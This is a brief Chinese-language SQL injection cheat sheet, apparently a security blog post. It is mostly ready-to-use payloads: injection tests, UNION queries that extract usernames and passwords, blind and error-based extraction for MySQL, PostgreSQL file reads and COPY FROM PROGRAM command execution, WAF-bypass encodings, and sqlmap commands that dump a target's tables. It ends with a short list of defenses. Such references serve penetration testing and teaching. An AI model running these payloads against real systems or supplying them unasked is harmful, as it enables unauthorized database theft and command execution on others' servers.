1 minute read

SQL注入(SQL Injection)速查手册,记录常用的注入技巧和payload。

检测注入点

' OR '1'='1
' OR '1'='1' --
' OR 1=1 --
" OR ""="
1' AND 1=1 --
1' AND 1=2 --

如果AND 1=1和AND 1=2返回不同的结果,说明存在注入。

MySQL

信息收集

-- 版本
SELECT version()
SELECT @@version

-- 当前用户
SELECT user()
SELECT current_user()

-- 当前数据库
SELECT database()

-- 所有数据库
SELECT schema_name FROM information_schema.schemata

-- 所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'

-- 所有列
SELECT column_name FROM information_schema.columns WHERE table_name='tablename'

UNION注入

-- 确定列数
ORDER BY 1 --
ORDER BY 2 --
ORDER BY N -- (直到报错)

-- 或使用NULL
UNION SELECT NULL --
UNION SELECT NULL, NULL --

-- 提取数据
UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --
UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users' --
UNION SELECT 1, group_concat(username,0x3a,password), 3 FROM users --

布尔盲注

-- 逐字符提取
AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --
AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))>97 --

时间盲注

-- MySQL
AND IF(1=1, SLEEP(5), 0) --
AND (SELECT SLEEP(5) FROM users WHERE username='admin') --

-- 逐字符
AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97, SLEEP(3), 0) --

报错注入

-- extractvalue
AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e)) --

-- updatexml
AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1) --

-- floor
AND (SELECT 1 FROM (SELECT count(*), concat((SELECT version()), floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --

PostgreSQL

-- 版本
SELECT version()

-- 字符串连接
SELECT 'a' || 'b'

-- 子查询
SELECT * FROM users WHERE id=1; SELECT pg_sleep(5) --

-- 文件读取
SELECT pg_read_file('/etc/passwd')

-- 命令执行 (需要superuser)
CREATE TABLE cmd_output(output text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

SQLite

-- 版本
SELECT sqlite_version()

-- 表名
SELECT name FROM sqlite_master WHERE type='table'

-- 表结构
SELECT sql FROM sqlite_master WHERE name='users'

WAF绕过技巧

空格替代

-- 注释替代空格
SELECT/**/username/**/FROM/**/users
-- Tab
SELECT%09username%09FROM%09users
-- 换行
SELECT%0ausername%0aFROM%0ausers

关键字绕过

-- 大小写混合
SeLeCt, UnIoN, FrOm
-- 双写
UNUNIONION SELSELECTECT
-- 编码
%53ELECT (URL编码)

引号绕过

-- 十六进制
SELECT * FROM users WHERE username=0x61646d696e
-- CHAR函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

自动化工具

# SQLMap基本用法
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname --tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump

# POST请求
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user

# Cookie注入
sqlmap -u "http://target.com/page" --cookie="id=1*"

防御

  1. 使用参数化查询(Prepared Statements)
  2. 使用ORM框架
  3. 输入验证和白名单
  4. 最小权限原则(数据库用户)
  5. WAF作为补充防线(不能作为唯一防线)